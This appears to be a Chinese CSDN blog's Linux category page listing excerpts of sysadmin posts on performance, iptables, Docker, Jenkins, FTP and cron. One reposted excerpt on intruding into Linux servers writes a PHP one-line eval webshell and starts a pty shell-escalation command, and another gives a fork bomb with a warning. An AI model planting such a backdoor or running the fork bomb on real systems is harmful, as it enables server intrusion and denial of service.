Linux
文章平均质量分 95
跟派大星学编程
从HelloWorld到改变世界
展开
-
Linux性能分析
文章目录1. 性能分析1.1 常用命令uptimempstatpidstat1.2 系统压测stress1. 性能分析1.1 常用命令uptime查询当前系统登录用户,以及系统平均负载(平均负载是指单位时间内,系统处于可运行状态和不可中断状态的平均进程数,也就是平均活跃进程数)uptime19:11:03 up 147 days, 2:02, 2 users, load average: 0.27, 0.07, 0.02分别为: 当前时间,系统目前登录用户数,系统 1分钟前,5分原创 2020-07-09 09:46:39 · 1782 阅读 · 0 评论 -
Linux网络抓包
文章目录1. tshark1.1 安装1.2 使用1.2.1 抓包参数说明1.2.2 输出参数说明1.3 示例2. tcpdump2.1 安装2.2 使用1. tshark1.1 安装Centosyum install -y wiresharkUbuntuapt-get install -y tshark1.2 使用1.2.1 抓包参数说明常用 -i和-f参数-i设置...原创 2020-04-06 14:48:52 · 1496 阅读 · 0 评论 -
iptables使用详解
1. 安装iptables#检查是否安装了iptablesservice iptables status#安装iptablesyum install -y iptables#安装iptables-servicesyum install iptables-services使用了iptables之后,记得把系统自带得firewalld给禁用掉# 停止firewalld服务sys...原创 2020-04-03 16:49:43 · 486 阅读 · 0 评论 -
Linux修改终端输出格式和颜色
修改方法在 ~/.bashrc 后面新增 PS1='[\u@\h \W]\$'格式说明PS1的定义中个常用的参数的含义如下:\d:代表日期,格式为weekday month date,例如:“Mon Aug 1”\H :完整的主机名称\h :仅取主机的第一个名字\t :显示时间为24小时格式,如:HH:MM:SS\T :显示时间为12小时格式\A :显示时间为24小时格...原创 2020-01-18 10:25:45 · 797 阅读 · 0 评论 -
Linux下的文件夹结构与用途
文章目录1. 常见文件夹2. 详细说明2.1 /bin目录2.2 /sbin目录2.3 /etc目录2.4 /root目录2.5 /lib目录2.6 /lib/modules目录2.7 /dev目录2.8 /tmp目录2.9 /boot目录2.10 /mnt目录2.11 /usr2.12 /var2.13 /home3. 子文件夹详细介绍3.1 /etc文件系统3.2 /dev文件系统3.3 /u...原创 2019-10-22 13:59:32 · 175 阅读 · 0 评论 -
Shell入门实例
控制字符常见的控制字符有:&,&&,||,;,|&: 将命令在后台执行&&: 前面的命令执行成功,后面的命令才会执行||: 前面的命令执行失败,后面的命令才会执行;:命令顺序执行,前面的命令执行成功与否,后面的命令都会执行|:管道符,前面命令的执行结果是后面命令的输入实例将命令在后台执行,可通过 jobs 命令查看当前后台执行的命令...原创 2019-04-19 10:10:15 · 176 阅读 · 0 评论 -
Linux远程连接Mysql配置
Mysql默认root用户只能本地访问,不能远程连接管理mysql数据库,Linux如何开启mysql远程连接?设置步骤如下:创建远程链接授权用户# 进入mysql操作命令mysql -h localhost -u root -p增加pibigstar用户授权访问,密码pibigstarGRANT ALL PRIVILEGES ON *.* TO pibigstar@localhost...原创 2019-05-18 12:11:04 · 1960 阅读 · 1 评论 -
Linux释放内存
查看内存free -h释放内存可用内存为:free + buff/caches的# 写缓存到文件系统sync# 释放内存echo 0 > /proc/sys/vm/drop_caches原创 2019-06-10 20:20:37 · 1287 阅读 · 0 评论 -
Linux之Centos配置优化
1. 升级内核目前默认的内核都是 3.10的,我们需要升级到4.4查看内核版本uname -r升级rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-3.el7.elrepo.noarch.rpm yu...原创 2019-08-03 15:16:26 · 340 阅读 · 0 评论 -
sed和awk常用操作
1. Sed命令说明sed是流式文本处理,它是对文本进行一行一行的处理,处理完一行之后,再读取下一行,sed默认不会修改源文件的命令格式:sed 参数 '动作' 文本文件参数有:-n 仅显示sed处理后的结果。-i 将修改保存到源文件中-e <script> 以选项中指定的script来处理输入的文本文件。-f<script文件> 以选项中指定的sc...原创 2019-08-18 21:54:11 · 323 阅读 · 0 评论 -
Linux防火墙操作
1. 查看防火墙状态sudo firewall-cmd --state如果是运行中则会输出 running,如果没有运行则会输出 not running2. 关闭防火墙# 关闭systemctl stop firewalld# 关闭开机自启systemctl disable firewalld3. 开启防火墙systemctl start firewalld4. 添加...原创 2019-09-18 13:22:11 · 221 阅读 · 0 评论 -
Centos安装可视化桌面(noVNC)
1. 关闭防火墙setenforce 0systemctl stop firewalldsystemctl disable firewalld2. 安装tigervnc它是一个可以远程连接Linux桌面的工具# 安装依赖yum install -y epel*# 安装 tigervncyum install -y tigervnc-server添加一个用户# 添加用户...原创 2019-09-18 13:49:15 · 2613 阅读 · 0 评论 -
Google浏览器代理设置
1. 安装SwitchyOmegaSwitchyOmega 是谷歌浏览器的一个插件,可以直接通过谷歌浏览器插件商店下载使用2. vps安装代理工具打开项目:https://github.com/snail007/proxy_admin_free登录vps,执行下面命令curl -L https://raw.githubusercontent.com/snail007/proxy_adm...原创 2019-09-26 10:30:39 · 4965 阅读 · 0 评论 -
Linux使用systemctl注册系统服务
1. 新建服务文件比如我们新建frp的服务文件,那么服务名就叫 frp.service2. 输入内容[Unit]Description=Frp Client ServiceAfter=network.target[Service]Type=simpleUser=nobodyRestart=on-failureRestartSec=5sExecStart=/usr/bin...原创 2019-10-06 22:09:03 · 1265 阅读 · 0 评论 -
入侵Linux服务器常用命令
写个php一句话后门上去:$ echo -e "<?php @eval($_POST[md5])?>" >rankuplog_time.php$ cat rankuplog_time.php1.linux的想着先跨站。shell浏览目标站不行,命令行下输入ls -la /www.users/2.溢出提权# python –c ‘impotr pty;pty.s...转载 2019-02-28 18:48:11 · 1212 阅读 · 0 评论 -
Linux随笔记
后台执行任务开启任务nohup 命令 > temp.log &查看正在运行的任务jobs -lFork炸弹请不要轻易执行,会耗尽服务器资源,使服务器不能正常的对外提供服务:(){:|:&};: ...原创 2019-02-18 17:25:42 · 203 阅读 · 0 评论 -
Linux安装Jenkins
环境:Centos、JDK1.81. 下载安装Jenkins点击查看官网详细安装安装稳定版,依次执行下面语句:sudo wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins-ci.org/redhat-stable/jenkins.reposudo rpm --import https://jenkins-ci.org/red...原创 2019-01-21 13:56:10 · 1526 阅读 · 0 评论 -
Ubuntu上安装并配置JDK和tomcat
注意:1)新安装的Ubuntu要修改root 用户密码,修改方式为:sudo passwd输入此用户密码:输入root用户密码:再次输入root 用户密码:2)进入root su root一、安装tomcat下载tomcat下载地址 : http://tomcat.apache.org原创 2017-08-22 11:24:20 · 969 阅读 · 0 评论 -
Xshell和Xftp链接虚拟机里的Ubuntu失败解决
一、查看下虚拟机里面的IP地址ifconfig二、下载ssh-server因为Ubuntu默认安装ssh-client,但是不会安装ssh-server,所以需要我们手动进行安装sudo apt-get install ssh-server安装好之后如果还是链接不上,执行下面命令1.关闭防火墙sudo ufw disable 查看下防火墙原创 2017-08-28 11:47:42 · 2278 阅读 · 0 评论 -
Linux中用oneinstack安装Tomcat无法启动解决
wget http://mirrors.linuxeye.com/oneinstack-full.tar.gz 下载原创 2017-12-10 17:03:19 · 1147 阅读 · 0 评论 -
网站部署到Linux服务器上并添加https证书
用的是Nginx服务器一、部署将网站打包成war包放到Linux的data/wwwroot/default目录解压:jar -xvf novel.war删除war包:rm novel.war删除文件夹 :rm -rf novel二、申请SSL证书网站 :https://www.pianyissl.com/三、安装SSL证书原创 2017-12-20 16:06:03 · 5047 阅读 · 0 评论 -
Linux常用命令
1、查看活动端口netstat -ntpl2、查看防火墙防御日志iptables -vnL3、关闭防火墙sudo ufw disable (Ubuntu)service iptables stop4、使用Navicat链接mysql1)mysql -uroot -p,回车后提示你输密码,输入密码2)授权:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDEN...原创 2017-12-20 19:16:20 · 247 阅读 · 0 评论 -
Linux下安装pip
$ wget https://bootstrap.pypa.io/get-pip.py$ python get-pip.py$ pip -V #查看pip版本原创 2017-12-25 16:23:55 · 593 阅读 · 0 评论 -
Linux搭建docker环境并简单实用
搭建 Docker 环境安装与配置 Docker安装 DockerDocker 软件包已经包括在默认的 CentOS-Extras 软件源里。因此想要安装 docker,只需要运行下面的 yum 命令:yum install docker-io -y直接yum安装,安装成功后查看版本docker -v启动dockerservice docker start设置开机启动chkconfig do...转载 2017-12-28 16:58:58 · 8383 阅读 · 2 评论 -
Linux执行定时任务
一、安装crontab一般Linux都会有,如果没有自己手动安装yum install vixie-cronyum install crontabs查看crontab的状态:service crond status 设置开机自启:ntsysv空格可以设置选中或取消,如果想退出点击tab键 二、使用语法:crontab [-e [UserName]|-l [U...原创 2018-03-27 13:38:49 · 2103 阅读 · 0 评论 -
如何判断 Linux 服务器是否被入侵?
本指南中所谓的服务器被入侵或者说被黑了的意思,是指未经授权的人或程序为了自己的目的登录到服务器上去并使用其计算资源,通常会产生不好的影响。免责声明:若你的服务器被类似 NSA 这样的国家机关或者某个犯罪集团入侵,那么你并不会注意到有任何问题,这些技术也无法发觉他们的存在。然而,大多数被攻破的服务器都是被类似自动攻击程序这样的程序或者类似“脚本小子”这样的廉价攻击者,以及蠢蛋罪犯所入侵的。这类攻击者...转载 2018-03-27 19:56:36 · 548 阅读 · 0 评论 -
docker搭建本地仓库并制作自己的镜像
1. 搭建本地仓库1.1 下载仓库镜像1.2 启动仓库容器2. 在CentOS容器中安装JDK2.1 创建Linux容器:2.2 将JDK复制到myCentos容器中2.3 进入容器2.4 解压JDK2.5 配置环境变量2.5.1 刷新环境变量2.5.2 设置开机自动执行source2.5.3 重启容器2.6 将容器提交到镜像里3. 将新制作的镜像推送到...原创 2018-04-19 14:47:16 · 4024 阅读 · 0 评论 -
Linux下搭建ftp服务器
1. 安装vsftpd2. 启动服务3. vsftpd的配置4. 修改登录方式5. 创建匿名用户可上传文件夹6. 非匿名账户的创建与使用7. 访问1. 安装vsftpdyum install vsftpd -y2. 启动服务service vsftpd start3. vsftpd的配置 ftp的配置文件主要有三个,位于/e...原创 2018-04-21 17:52:59 · 390 阅读 · 0 评论 -
使用NetData对服务器性能进行监控
文章目录1. 安装NetData2. 查看界面3. 更改配置4. 启动与关闭服务器为:CentOS1. 安装NetData1.安装Netdata需要的基本编译环境安装:yum install zlib-devel gcc make git autoconf autogen automake pkgconfig下载NetDatawget http://firehol.org/dow...原创 2019-01-14 10:08:30 · 942 阅读 · 0 评论 -
Linux基本命令使用
1.命令置换 //一个命令的输出,是另一个命令的输入变量名='$(命令)'echo "$变量名"2.取别名alias 变量名='命令'3.更改权限chmod +x 文件名 //设置为可执行./文件名 //执行文件4.执行多条命令$ echo 1; echoo 2; echo 3; echo 4 //互不影响原创 2017-08-19 11:30:21 · 344 阅读 · 0 评论